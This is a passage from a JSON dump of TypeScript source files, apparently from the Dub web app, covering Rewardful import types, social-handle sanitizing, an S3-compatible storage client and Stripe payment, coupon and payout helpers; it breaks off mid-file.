    "content": "import * as z from \"zod/v4\";\nimport { rewardfulImportPayloadSchema } from \"./schemas\";\n\n// TODO:\n// Use the zod schema to define the API response\n\nexport interface RewardfulCredentials {\n  token: string;\n}\n\nexport interface RewardfulCampaign {\n  id: string;\n  name: string;\n  url: string;\n  affiliates: number;\n  commission_amount_cents: number;\n  minimum_payout_cents: number;\n  max_commission_period_months: number;\n  days_until_commissions_are_due: number;\n  default: boolean;\n  reward_type: \"amount\" | \"percent\";\n  commission_percent: number;\n  stripe_coupon_id?: string | null;\n  created_at: string;\n  updated_at: string;\n}\n\nexport interface RewardfulLink {\n  id: string;\n  url: string;\n  token: string;\n  visitors: number;\n  leads: number;\n  conversions: number;\n}\n\nexport interface RewardfulCustomer {\n  id: string;\n  name: string;\n  email: string;\n  platform: string;\n}\n\nexport interface RewardfulAffiliate {\n  id: string;\n  first_name: string;\n  last_name: string;\n  email: string;\n  state: string;\n  visitors: number;\n  leads: number;\n  conversions: number;\n  created_at: string;\n  updated_at: string;\n  links: RewardfulLink[];\n  campaign: RewardfulCampaign;\n}\n\nexport interface RewardfulReferral {\n  id: string;\n  link?: RewardfulLink; // could be null for coupon-based referrals\n  coupon?: RewardfulCoupon; // could be null for link-based referrals\n  customer: RewardfulCustomer;\n  affiliate: RewardfulAffiliate;\n  created_at: string;\n  became_lead_at: string;\n  became_conversion_at: string;\n  expires_at: string;\n  updated_at: string;\n  conversion_state: string;\n  stripe_customer_id: string;\n}\n\nexport interface RewardfulCommissionSale {\n  id: string;\n  currency: string;\n  charged_at: string;\n  stripe_account_id: string;\n  stripe_charge_id: string;\n  invoiced_at: string;\n  created_at: string;\n  updated_at: string;\n  charge_amount_cents: number;\n  refund_amount_cents: number;\n  tax_amount_cents: number;\n  sale_amount_cents: number;\n  referral: RewardfulReferral;\n  affiliate: RewardfulAffiliate;\n}\n\nexport interface RewardfulCommission {\n  id: string;\n  created_at: string;\n  updated_at: string;\n  amount: number;\n  currency: string;\n  state: \"pending\" | \"due\" | \"paid\" | \"voided\";\n  due_at: string;\n  paid_at: string | null;\n  voided_at: string | null;\n  campaign: RewardfulCampaign;\n  sale: RewardfulCommissionSale;\n}\n\nexport interface RewardfulCoupon {\n  id: string;\n  external_id: string;\n  archived: boolean;\n  archived_at: string;\n  token: string;\n  affiliate_id: string;\n}\n\nexport type RewardfulImportPayload = z.infer<\n  typeof rewardfulImportPayloadSchema\n>;\n"
  },
  {
    "path": "apps/web/lib/social-utils.ts",
    "content": "import { PlatformType } from \"@dub/prisma/client\";\nimport { getUrlFromStringIfValid } from \"@dub/utils\";\n\ninterface SocialPlatformConfig {\n  patterns: RegExp[];\n  allowedChars: RegExp;\n  maxLength?: number;\n  name: string;\n}\n\nexport const SOCIAL_PLATFORM_CONFIGS: Record<\n  Exclude<PlatformType, \"website\">,\n  SocialPlatformConfig\n> = {\n  youtube: {\n    patterns: [\n      /^(?:.*\\.)?(?:youtube\\.com|youtu\\.be)\\/(?:channel\\/|c\\/|user\\/|@)?([^\\/\\?]+)/i,\n      /^@([^\\/\\?]+)/i,\n    ],\n    allowedChars: /[^\\w.-]/g,\n    maxLength: 30,\n    name: \"YouTube\",\n  },\n  twitter: {\n    patterns: [\n      /^(?:.*\\.)?(?:twitter\\.com|x\\.com)\\/([^\\/\\?]+)/i,\n      /^@([^\\/\\?]+)/i,\n    ],\n    allowedChars: /[^\\w]/g,\n    maxLength: 15,\n    name: \"X/Twitter\",\n  },\n  linkedin: {\n    patterns: [/^(?:.*\\.)?linkedin\\.com\\/(?:in\\/)?([^\\/\\?]+)/i],\n    allowedChars: /[^\\w-]/g,\n    maxLength: 30,\n    name: \"LinkedIn\",\n  },\n  instagram: {\n    patterns: [/^(?:.*\\.)?instagram\\.com\\/([^\\/\\?]+)/i, /^@([^\\/\\?]+)/i],\n    allowedChars: /[^\\w.]/g,\n    maxLength: 30,\n    name: \"Instagram\",\n  },\n  tiktok: {\n    patterns: [/^(?:.*\\.)?tiktok\\.com\\/(?:@)?([^\\/\\?]+)/i, /^@([^\\/\\?]+)/i],\n    allowedChars: /[^\\w.]/g,\n    maxLength: 24,\n    name: \"TikTok\",\n  },\n};\n\nexport const sanitizeWebsite = (input: string | null | undefined) => {\n  if (!input || typeof input !== \"string\") return null;\n\n  let website = input.trim();\n  if (!website) return null;\n  if (!website.includes(\".\") || website.includes(\" \")) return null;\n\n  return getUrlFromStringIfValid(website);\n};\n\nexport const sanitizeSocialHandle = (\n  input: string | null | undefined,\n  platform: PlatformType,\n) => {\n  if (!input || typeof input !== \"string\") {\n    return null;\n  }\n\n  let handle = input.trim();\n  if (!handle) {\n    return null;\n  }\n\n  handle = handle\n    .replace(/^https?:\\/\\//i, \"\")\n    .replace(/^https?$/i, \"\") // standalone \"http\" or \"https\"\n    .replace(/^www\\./i, \"\") // www. prefix\n    .replace(/\\?.*$/, \"\") // query params (e.g. ?s=21&t=...)\n    .replace(/#.*$/, \"\"); // hash/fragment (e.g. #section)\n\n  const { patterns, allowedChars, allowedDomains, maxLength } =\n    SOCIAL_PLATFORM_CONFIGS[platform];\n\n  for (const pattern of patterns) {\n    const match = handle.match(pattern);\n\n    if (match) {\n      handle = match[1];\n      break;\n    }\n  }\n\n  handle = handle.replace(/\\/.*$/, \"\").replace(allowedChars, \"\");\n\n  if (maxLength) {\n    handle = handle.substring(0, maxLength);\n  }\n\n  return handle || null;\n};\n\n// Converts an array of platform objects into a key-value object\n// for easy lookup by platform name. Returns null for platforms not found.\nexport function buildSocialPlatformLookup<T extends { type: PlatformType }>(\n  platforms: T[],\n): Record<PlatformType, T | null> {\n  const result = {\n    website: null,\n    youtube: null,\n    twitter: null,\n    linkedin: null,\n    instagram: null,\n    tiktok: null,\n  } as Record<PlatformType, T | null>;\n\n  for (const platform of platforms) {\n    result[platform.type] = platform;\n  }\n\n  return result;\n}\n\n// Polyfills social media fields from platforms array for backward compatibility\nexport function polyfillSocialMediaFields<\n  T extends { type: PlatformType; identifier: string | null },\n>(platforms: T[]) {\n  const platformsMap = buildSocialPlatformLookup(platforms);\n\n  return {\n    website: platformsMap[\"website\"]?.identifier ?? null,\n    youtube: platformsMap[\"youtube\"]?.identifier ?? null,\n    twitter: platformsMap[\"twitter\"]?.identifier ?? null,\n    linkedin: platformsMap[\"linkedin\"]?.identifier ?? null,\n    instagram: platformsMap[\"instagram\"]?.identifier ?? null,\n    tiktok: platformsMap[\"tiktok\"]?.identifier ?? null,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/storage.ts",
    "content": "import { OG_AVATAR_URL, R2_URL, fetchWithTimeout } from \"@dub/utils\";\nimport { AwsClient } from \"aws4fetch\";\n\ninterface imageOptions {\n  contentType?: string;\n  width?: number;\n  height?: number;\n  headers?: Record<string, string>;\n}\n\ntype BucketType = \"public\" | \"private\";\n\nclass StorageClient {\n  private client: AwsClient;\n\n  constructor() {\n    this.client = new AwsClient({\n      accessKeyId: process.env.STORAGE_ACCESS_KEY_ID || \"\",\n      secretAccessKey: process.env.STORAGE_SECRET_ACCESS_KEY || \"\",\n      service: \"s3\",\n      region: \"auto\",\n    });\n  }\n\n  async upload({\n    key,\n    body,\n    opts,\n    bucket = \"public\",\n  }: {\n    key: string;\n    body: Blob | Buffer | string;\n    opts?: imageOptions;\n    bucket?: BucketType;\n  }) {\n    let uploadBody;\n    if (typeof body === \"string\") {\n      if (this.isBase64(body)) {\n        uploadBody = this.base64ToArrayBuffer(body, opts);\n      } else if (this.isUrl(body)) {\n        uploadBody = await this.urlToBlob(body, opts);\n      } else {\n        throw new Error(\"Invalid input: Not a base64 string or a valid URL\");\n      }\n    } else {\n      uploadBody = body;\n    }\n\n    const headers = {\n      \"Content-Length\": uploadBody.size.toString(),\n      ...opts?.headers,\n    };\n\n    if (opts?.contentType) {\n      headers[\"Content-Type\"] = opts.contentType;\n    }\n\n    try {\n      const response = await this.client.fetch(\n        `${process.env.STORAGE_ENDPOINT}/${this._getBucketName(bucket)}/${key}`,\n        {\n          method: \"PUT\",\n          headers,\n          body: uploadBody,\n        },\n      );\n\n      if (!response.ok) {\n        throw new Error(response.statusText);\n      }\n\n      return {\n        url: `${R2_URL}/${key}`,\n      };\n    } catch (error) {\n      console.error(\"storage.upload failed\", error);\n      throw new Error(\"Failed to upload file. Please try again later.\");\n    }\n  }\n\n  async delete({\n    key,\n    bucket = \"public\",\n  }: {\n    key: string;\n    bucket?: BucketType;\n  }) {\n    try {\n      const response = await this.client.fetch(\n        `${process.env.STORAGE_ENDPOINT}/${this._getBucketName(bucket)}/${key}`,\n        {\n          method: \"DELETE\",\n        },\n      );\n\n      if (!response.ok) {\n        throw new Error(response.statusText);\n      }\n    } catch (error) {\n      console.error(\"storage.delete failed\", error);\n      throw new Error(\"Failed to delete file. Please try again later.\");\n    }\n  }\n\n  async getSignedUrl({\n    key,\n    method,\n    expiresIn,\n    bucket,\n    headers,\n  }: {\n    key: string;\n    method: \"PUT\" | \"GET\";\n    bucket: BucketType;\n    expiresIn: number;\n    headers?: Record<string, string>;\n  }) {\n    const url = new URL(\n      `${process.env.STORAGE_ENDPOINT}/${this._getBucketName(bucket)}/${key}`,\n    );\n\n    url.searchParams.set(\"X-Amz-Expires\", String(expiresIn));\n\n    try {\n      const response = await this.client.sign(url, {\n        method,\n        headers,\n        aws: {\n          signQuery: true,\n          allHeaders: true,\n        },\n      });\n\n      return response.url;\n    } catch (error) {\n      console.error(\"storage.getSignedUrl failed\", error);\n      throw new Error(\"Failed to generate signed url. Please try again later.\");\n    }\n  }\n\n  async getSignedUploadUrl(opts: {\n    key: string;\n    bucket?: BucketType;\n    expiresIn?: number;\n    contentLength?: number;\n  }) {\n    return await this.getSignedUrl({\n      key: opts.key,\n      method: \"PUT\",\n      bucket: opts.bucket || \"public\",\n      expiresIn: opts.expiresIn || 600,\n      headers: opts.contentLength\n        ? { \"Content-Length\": String(opts.contentLength) }\n        : undefined,\n    });\n  }\n\n  async getSignedDownloadUrl(opts: {\n    key: string;\n    bucket?: BucketType;\n    expiresIn?: number;\n  }) {\n    return await this.getSignedUrl({\n      key: opts.key,\n      method: \"GET\",\n      bucket: opts.bucket || \"private\",\n      expiresIn: opts.expiresIn || 600,\n    });\n  }\n\n  private base64ToArrayBuffer(base64: string, opts?: imageOptions) {\n    const base64Data = base64.replace(/^data:.+;base64,/, \"\");\n    const paddedBase64Data = base64Data.padEnd(\n      base64Data.length + ((4 - (base64Data.length % 4)) % 4),\n      \"=\",\n    );\n\n    const binaryString = atob(paddedBase64Data);\n    const byteArray = new Uint8Array(binaryString.length);\n    for (let i = 0; i < binaryString.length; i++) {\n      byteArray[i] = binaryString.charCodeAt(i);\n    }\n    const blobProps = {};\n    if (opts?.contentType) blobProps[\"type\"] = opts.contentType;\n    return new Blob([byteArray], blobProps);\n  }\n\n  private isBase64(str: string) {\n    const base64Regex =\n      /^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/;\n\n    const dataImageRegex =\n      /^data:image\\/[a-zA-Z0-9.+-]+;base64,(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/;\n\n    return base64Regex.test(str) || dataImageRegex.test(str);\n  }\n\n  private isUrl(str: string): boolean {\n    try {\n      new URL(str);\n      return true;\n    } catch (_) {\n      return false;\n    }\n  }\n\n  private async urlToBlob(url: string, opts?: imageOptions): Promise<Blob> {\n    let response: Response;\n    if (opts?.height || opts?.width) {\n      try {\n        const proxyUrl = new URL(\"https://wsrv.nl\");\n        proxyUrl.searchParams.set(\"url\", url);\n        if (opts.width) proxyUrl.searchParams.set(\"w\", opts.width.toString());\n        if (opts.height) proxyUrl.searchParams.set(\"h\", opts.height.toString());\n        proxyUrl.searchParams.set(\"fit\", \"cover\");\n        response = await fetchWithTimeout(proxyUrl.toString());\n      } catch (error) {\n        response = await fetch(url);\n      }\n    } else {\n      response = await fetch(url);\n    }\n    if (!response.ok) {\n      throw new Error(`Failed to fetch URL: ${response.statusText}`);\n    }\n    const blob = await response.blob();\n    if (opts?.contentType) {\n      return new Blob([blob], { type: opts.contentType });\n    }\n    return blob;\n  }\n\n  private _getBucketName(bucket: BucketType) {\n    if (bucket === \"public\") {\n      const bucketName = process.env.STORAGE_PUBLIC_BUCKET;\n\n      if (!bucketName) {\n        throw new Error(\"STORAGE_PUBLIC_BUCKET is not set\");\n      }\n\n      return bucketName;\n    }\n\n    if (bucket === \"private\") {\n      const bucketName = process.env.STORAGE_PRIVATE_BUCKET;\n\n      if (!bucketName) {\n        throw new Error(\"STORAGE_PRIVATE_BUCKET is not set\");\n      }\n\n      return bucketName;\n    }\n\n    throw new Error(`Invalid bucket type: ${bucket}`);\n  }\n}\n\nexport const storage = new StorageClient();\n\nexport const isStored = (url: string) => {\n  return url.startsWith(R2_URL) || url.startsWith(OG_AVATAR_URL);\n};\n\nexport const isNotHostedImage = (imageString: string) => {\n  return !imageString.startsWith(\"https://\");\n};\n"
  },
  {
    "path": "apps/web/lib/stripe/cancel-subscription.ts",
    "content": "import { stripe } from \".\";\n\nexport async function cancelSubscription(customer?: string) {\n  if (!customer) return;\n\n  try {\n    const subscriptionId = await stripe.subscriptions\n      .list({\n        customer,\n      })\n      .then((res) => res.data[0].id);\n\n    return await stripe.subscriptions.update(subscriptionId, {\n      cancel_at_period_end: true,\n      cancellation_details: {\n        comment: \"Customer deleted their Dub workspace.\",\n      },\n    });\n  } catch (error) {\n    console.log(\"Error cancelling Stripe subscription\", error);\n    return;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/check-payment-method-mandate.ts",
    "content": "export const checkPaymentMethodMandate = async ({\n  paymentMethodId,\n}: {\n  paymentMethodId: string;\n}) => {\n  // Check mandate via REST API (mandates require Stripe-Version 2025-12-15.preview)\n  // TODO: Update this to use the Stripe SDK when we upgrade to the new API version\n  const mandatesResponse = await fetch(\n    `https://api.stripe.com/v1/mandates?payment_method=${encodeURIComponent(paymentMethodId)}&status=active`,\n    {\n      method: \"GET\",\n      headers: {\n        \"Stripe-Version\": \"2025-12-15.preview\",\n        Authorization: `Bearer ${process.env.STRIPE_SECRET_KEY}`,\n      },\n    },\n  );\n\n  if (!mandatesResponse.ok) {\n    const errText = await mandatesResponse.text();\n    throw new Error(`Failed to verify mandate: ${errText}`);\n  }\n\n  const { data: mandatesData } = await mandatesResponse.json();\n  if (!mandatesData || mandatesData.length === 0) {\n    return null;\n  }\n\n  return mandatesData[0];\n};\n"
  },
  {
    "path": "apps/web/lib/stripe/client.ts",
    "content": "// Stripe Client SDK\nimport { Stripe as StripeProps, loadStripe } from \"@stripe/stripe-js\";\n\nlet stripePromise: Promise<StripeProps | null>;\n\nexport const getStripe = () => {\n  if (!stripePromise) {\n    stripePromise = loadStripe(\n      process.env.NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY_LIVE ??\n        process.env.NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY ??\n        \"\",\n    );\n  }\n\n  return stripePromise;\n};\n"
  },
  {
    "path": "apps/web/lib/stripe/coupon-discount-converter.ts",
    "content": "import { RewardStructure } from \"@dub/prisma/client\";\nimport { Stripe } from \"stripe\";\n\n/**\n * Type definitions for conversion functions\n */\nexport interface DubDiscountAttributes {\n  amount: number;\n  type: RewardStructure;\n  maxDuration: number | null;\n  description?: string | null;\n}\n\n/**\n * Convert Dub Discount attributes to Stripe Coupon attributes\n */\nexport function dubDiscountToStripeCoupon(\n  discount: DubDiscountAttributes & { name?: string },\n): Stripe.CouponCreateParams {\n  let duration: \"once\" | \"repeating\" | \"forever\" = \"once\";\n  let durationInMonths: number | undefined = undefined;\n\n  // Convert maxDuration to Stripe duration format\n  if (discount.maxDuration === null) {\n    duration = \"forever\";\n  } else if (discount.maxDuration === 0) {\n    duration = \"once\";\n  } else {\n    duration = \"repeating\";\n    durationInMonths = discount.maxDuration;\n  }\n\n  const stripeCouponData: Stripe.CouponCreateParams = {\n    currency: \"usd\",\n    duration,\n    ...(duration === \"repeating\" &&\n      durationInMonths && {\n        duration_in_months: durationInMonths,\n      }),\n    ...(discount.type === \"percentage\"\n      ? { percent_off: discount.amount }\n      : { amount_off: discount.amount }),\n    ...(discount.name && { name: discount.name }),\n  };\n\n  return stripeCouponData;\n}\n\n/**\n * Convert Stripe Coupon attributes to Dub Discount attributes\n */\nexport function stripeCouponToDubDiscount(\n  stripeCoupon: Stripe.Coupon,\n): DubDiscountAttributes {\n  // Determine discount type and amount\n  const type: RewardStructure = stripeCoupon.percent_off\n    ? \"percentage\"\n    : \"flat\";\n  const amount = stripeCoupon.percent_off || stripeCoupon.amount_off || 0;\n\n  // Convert Stripe duration to Dub maxDuration\n  let maxDuration: number | null = null;\n\n  switch (stripeCoupon.duration) {\n    case \"once\":\n      maxDuration = 0;\n      break;\n    case \"forever\":\n      maxDuration = null;\n      break;\n    case \"repeating\":\n      maxDuration = stripeCoupon.duration_in_months || 1;\n      break;\n  }\n\n  return {\n    amount,\n    type,\n    maxDuration,\n    description: stripeCoupon.name || null,\n  };\n}\n\n/**\n * Validate that a Stripe coupon can be converted to a Dub discount\n */\nexport function validateStripeCouponForDubDiscount(\n  stripeCoupon: Stripe.Coupon,\n): { isValid: boolean; errors: string[] } {\n  const errors: string[] = [];\n\n  // Check if coupon has either percent_off or amount_off\n  if (!stripeCoupon.percent_off && !stripeCoupon.amount_off) {\n    errors.push(\"Coupon must have either percent_off or amount_off\");\n  }\n\n  // Check if coupon has both percent_off and amount_off (invalid)\n  if (stripeCoupon.percent_off && stripeCoupon.amount_off) {\n    errors.push(\"Coupon cannot have both percent_off and amount_off\");\n  }\n\n  // Check currency for amount_off coupons\n  if (stripeCoupon.amount_off && stripeCoupon.currency !== \"usd\") {\n    errors.push(\"Amount-based coupons must use USD currency\");\n  }\n\n  // Check if coupon is valid (not deleted)\n  if (stripeCoupon.valid === false) {\n    errors.push(\"Coupon is not valid or has been deleted\");\n  }\n\n  return {\n    isValid: errors.length === 0,\n    errors,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/create-connected-account.ts",
    "content": "import * as z from \"zod/v4\";\nimport { stripe } from \".\";\nimport { onboardPartnerSchema } from \"../zod/schemas/partners\";\n\nexport const createConnectedAccount = async ({\n  country,\n  profileType,\n  companyName,\n}: Pick<\n  z.infer<typeof onboardPartnerSchema>,\n  \"country\" | \"profileType\" | \"companyName\"\n>) => {\n  try {\n    return await stripe.accounts.create({\n      type: \"express\",\n      business_type: profileType,\n      country,\n      ...(profileType === \"company\"\n        ? {\n            business_profile: {\n              name: companyName!,\n            },\n          }\n        : {\n            individual: {},\n          }),\n      capabilities: {\n        transfers: {\n          requested: true,\n        },\n        ...(country === \"US\" && {\n          card_payments: {\n            requested: true,\n          },\n        }),\n      },\n      ...(country !== \"US\" && {\n        tos_acceptance: { service_agreement: \"recipient\" },\n      }),\n      settings: {\n        payouts: {\n          schedule: {\n            interval: \"manual\",\n          },\n        },\n      },\n    });\n  } catch (error) {\n    throw new Error(error.message);\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/stripe/create-fx-quote.ts",
    "content": "import * as z from \"zod/v4\";\n\nconst fxQuoteSchema = z.object({\n  rates: z.record(\n    z.string(),\n    z.object({\n      exchange_rate: z.number(),\n    }),\n  ),\n});\n\nexport async function createFxQuote({\n  fromCurrency,\n  toCurrency,\n}: {\n  fromCurrency: string;\n  toCurrency: string;\n}) {\n  try {\n    const body = new URLSearchParams();\n\n    body.append(\"from_currencies[]\", fromCurrency);\n    body.append(\"to_currency\", toCurrency);\n    body.append(\"lock_duration\", \"none\");\n\n    const fxQuoteResponse = await fetch(\"https://api.stripe.com/v1/fx_quotes\", {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.STRIPE_SECRET_KEY}`,\n        \"Stripe-Version\": \"2025-05-28.basil;fx_quote_preview=v1\",\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body,\n    });\n\n    const fxQuote = await fxQuoteResponse.json();\n\n    return fxQuoteSchema.parse(fxQuote);\n  } catch (error) {\n    throw new Error(\n      `Failed to create FX quote for ${fromCurrency} to ${toCurrency}. ${JSON.stringify(error, null, 2)}`,\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/create-payment-intent.ts",
    "content": "import { stripe } from \"@/lib/stripe\";\nimport { currencyFormatter, log } from \"@dub/utils\";\n\nexport const createPaymentIntent = async ({\n  stripeId,\n  amount,\n  invoiceId,\n  description,\n  statementDescriptor,\n  idempotencyKey,\n}: {\n  stripeId: string;\n  amount: number;\n  invoiceId?: string; // used for transfer_group (only for partner payouts)\n  description: string;\n  statementDescriptor: string;\n  idempotencyKey?: string;\n}) => {\n  const [cards, links] = await Promise.all([\n    stripe.paymentMethods.list({\n      customer: stripeId,\n      type: \"card\",\n    }),\n\n    stripe.paymentMethods.list({\n      customer: stripeId,\n      type: \"link\",\n    }),\n  ]);\n\n  if (cards.data.length === 0 && links.data.length === 0) {\n    console.error(`No valid payment methods found for customer ${stripeId}.`);\n    return { paymentIntent: null, paymentMethod: null };\n  }\n\n  const paymentMethod = cards.data[0] || links.data[0];\n\n  if (!paymentMethod) {\n    console.error(`No valid payment method found for customer ${stripeId}.`);\n    return { paymentIntent: null, paymentMethod: null };\n  }\n\n  try {\n    const paymentIntent = await stripe.paymentIntents.create(\n      {\n        amount,\n        customer: stripeId,\n        ...(invoiceId ? { transfer_group: invoiceId } : {}),\n        payment_method_types: [\"card\", \"link\"],\n        payment_method: paymentMethod.id,\n        currency: \"usd\",\n        confirmation_method: \"automatic\",\n        confirm: true,\n        statement_descriptor: statementDescriptor,\n        description,\n      },\n      idempotencyKey ? { idempotencyKey } : undefined,\n    );\n\n    console.log(\n      `Payment intent ${paymentIntent.id} created ${invoiceId ? `for invoice ${invoiceId} ` : \"\"}with amount ${currencyFormatter(paymentIntent.amount)}`,\n    );\n\n    return { paymentIntent, paymentMethod };\n  } catch (error) {\n    console.error(error);\n\n    await log({\n      message: `Failed to create payment intent${invoiceId ? ` for the invoice ${invoiceId}` : \"\"}. ${JSON.stringify(error, null, 2)}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    return { paymentIntent: null, paymentMethod: null };\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/stripe/create-stripe-discount-code.ts",
    "content": "import { nanoid } from \"@dub/utils\";\nimport { stripeAppClient } from \".\";\nimport { DiscountProps } from \"../types\";\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\nconst MAX_ATTEMPTS = 3;\n\nexport async function createStripeDiscountCode({\n  stripeConnectId,\n  discount,\n  code,\n  shouldRetry = true,\n}: {\n  stripeConnectId: string;\n  discount: Pick<DiscountProps, \"id\" | \"couponId\" | \"amount\" | \"type\">;\n  code: string;\n  shouldRetry?: boolean; // we don't retry if the code is provided by the user\n}) {\n  if (!stripeConnectId) {\n    throw new Error(\n      `stripeConnectId is required to create a Stripe discount code.`,\n    );\n  }\n\n  if (!discount.couponId) {\n    throw new Error(`couponId not found for discount ${discount.id}.`);\n  }\n\n  let attempt = 0;\n  let currentCode = code;\n\n  while (attempt < MAX_ATTEMPTS) {\n    try {\n      return await stripe.promotionCodes.create(\n        {\n          coupon: discount.couponId,\n          code: currentCode.toUpperCase(),\n          restrictions: {\n            first_time_transaction: true,\n          },\n        },\n        {\n          stripeAccount: stripeConnectId,\n        },\n      );\n    } catch (error: any) {\n      const errorMessage = error.raw?.message || error.message;\n      const isDuplicateError = errorMessage?.includes(\"already exists\");\n\n      if (!isDuplicateError) {\n        throw error;\n      }\n\n      if (!shouldRetry) {\n        throw error;\n      }\n\n      attempt++;\n\n      if (attempt >= MAX_ATTEMPTS) {\n        throw error;\n      }\n\n      const newCode = `${currentCode}${nanoid(2)}`;\n\n      console.warn(\n        `Discount code \"${currentCode}\" already exists. Retrying with \"${newCode}\" (attempt ${attempt}/${MAX_ATTEMPTS}).`,\n      );\n\n      currentCode = newCode;\n    }\n  }\n\n  throw new Error(\"Failed to create Stripe discount code.\");\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/create-stripe-outbound-payment.ts",
    "content": "import { STRIPE_API_VERSION, stripeV2Fetch } from \"./stripe-v2-client\";\n\nexport interface CreateStripeOutboundPaymentParams {\n  stripeRecipientId: string;\n  amount: number;\n  description: string;\n  idempotencyKey: string;\n}\n\nexport async function createStripeOutboundPayment({\n  stripeRecipientId,\n  amount,\n  description,\n  idempotencyKey,\n}: CreateStripeOutboundPaymentParams) {\n  const financialAccountId = process.env.STRIPE_FINANCIAL_ACCOUNT_ID;\n\n  if (!financialAccountId) {\n    throw new Error(\"STRIPE_FINANCIAL_ACCOUNT_ID is not configured.\");\n  }\n\n  const { data, error } = await stripeV2Fetch(\n    \"/v2/money_management/outbound_payments\",\n    {\n      headers: {\n        Authorization: `Bearer ${process.env.STRIPE_SECRET_KEY}`,\n        \"Stripe-Version\": STRIPE_API_VERSION,\n        \"Idempotency-Key\": idempotencyKey,\n      },\n      body: {\n        from: {\n          financial_account: financialAccountId,\n          currency: \"usd\",\n        },\n        to: {\n          recipient: stripeRecipientId,\n          currency: \"usdc\",\n        },\n        amount: {\n          value: amount,\n          currency: \"usd\",\n        },\n        description,\n      },\n    },\n  );\n\n  if (error) {\n    throw new Error(error.message);\n  }\n\n  return data;\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/create-stripe-recipient-account-link.ts",
    "content": "import { PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { stripeV2Fetch } from \"./stripe-v2-client\";\n\ninterface CreateStripeRecipientAccountLinkParams {\n  stripeRecipientId: string;\n  useCase: \"account_onboarding\" | \"account_update\";\n}\n\nexport async function createStripeRecipientAccountLink({\n  stripeRecipientId,\n  useCase,\n}: CreateStripeRecipientAccountLinkParams) {\n  const { data, error } = await stripeV2Fetch(\"/v2/core/account_links\", {\n    body: {\n      account: stripeRecipientId,\n      use_case: {\n        type: useCase,\n        [useCase]: {\n          configurations: [\"recipient\"],\n          return_url: `${PARTNERS_DOMAIN}/payouts?settings=true`,\n          refresh_url: `${PARTNERS_DOMAIN}/payouts?settings=true`,\n          collection_options: {\n            fields: \"eventually_due\",\n          },\n        },\n      },\n    },\n  });\n\n  if (error) {\n    throw new Error(error.message);\n  }\n\n  return data;\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/create-stripe-recipient-account.ts",
    "content": "import type { Partner } from \"@dub/prisma/client\";\nimport { stripeV2Fetch } from \"./stripe-v2-client\";\n\ninterface CreateStripeRecipientAccountParams\n  extends Pick<Partner, \"name\" | \"profileType\"> {\n  email: NonNullable<Partner[\"email\"]>;\n  country: NonNullable<Partner[\"country\"]>;\n}\n\nexport async function createStripeRecipientAccount({\n  name,\n  email,\n  country,\n  profileType,\n}: CreateStripeRecipientAccountParams) {\n  const { data, error } = await stripeV2Fetch(\"/v2/core/accounts\", {\n    body: {\n      contact_email: email,\n      display_name: name,\n      identity: {\n        country: country.toLowerCase(),\n        entity_type: profileType,\n      },\n      configuration: {\n        recipient: {\n          capabilities: {\n            crypto_wallets: {\n              requested: true,\n            },\n          },\n        },\n      },\n      include: [\"configuration.recipient\"],\n    },\n  });\n\n  if (error) {\n    throw new Error(error.message);\n  }\n\n  return data;\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/disable-stripe-discount-code.ts",
    "content": "import { stripeAppClient } from \".\";\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\nexport async function disableStripeDiscountCode({\n  stripeConnectId,\n  code,\n}: {\n  stripeConnectId: string | null;\n  code: string;\n}) {\n  if (!stripeConnectId) {\n    throw new Error(\n      `stripeConnectId is required to disable a Stripe discount code.`,\n    );\n  }\n\n  const promotionCodes = await stripe.promotionCodes.list(\n    {\n      code,\n      limit: 1,\n    },\n    {\n      stripeAccount: stripeConnectId,\n    },\n  );\n\n  if (promotionCodes.data.length === 0) {\n    console.error(\n      `Stripe promotion code ${code} not found (stripeConnectId=${stripeConnectId}).`,\n    );\n    return;\n  }\n\n  let promotionCode = promotionCodes.data[0];\n\n  promotionCode = await stripe.promotionCodes.update(\n    promotionCode.id,\n    {\n      active: false,\n    },\n    {\n      stripeAccount: stripeConnectId,\n    },\n  );\n\n  console.info(\n    `Disabled Stripe promotion code ${promotionCode.code} (id=${promotionCode.id}, stripeConnectId=${stripeConnectId}).`,\n  );\n\n  return promotionCode;\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/fund-financial-account.ts",
    "content": "import { currencyFormatter, prettyPrint } from \"@dub/utils\";\nimport { stripe } from \"./index\";\nimport { STRIPE_API_VERSION, stripeV2Fetch } from \"./stripe-v2-client\";\n\nconst financialAccountId = process.env.STRIPE_FINANCIAL_ACCOUNT_ID;\n\ninterface FundFinancialAccountParams {\n  amount: number;\n  idempotencyKey: string;\n}\n\n// Fund the Dub's financial account for Global payouts\nexport async function fundFinancialAccount({\n  amount,\n  idempotencyKey,\n}: FundFinancialAccountParams) {\n  if (amount <= 0) {\n    throw new Error(\"Amount must be greater than 0.\");\n  }\n\n  if (!financialAccountId) {\n    throw new Error(\"STRIPE_FINANCIAL_ACCOUNT_ID is not configured.\");\n  }\n\n  const balance = await stripe.balance.retrieve();\n  const usdAvailable = balance.available.find((b) => b.currency === \"usd\");\n  const availableAmount = usdAvailable?.amount ?? 0;\n\n  if (availableAmount < amount) {\n    throw new Error(\n      `Insufficient balance to fund financial account. Available: ${currencyFormatter(availableAmount)}, required: ${currencyFormatter(amount)}.`,\n    );\n  }\n\n  const { data, error } = await stripeV2Fetch(\"/v1/payouts\", {\n    body: 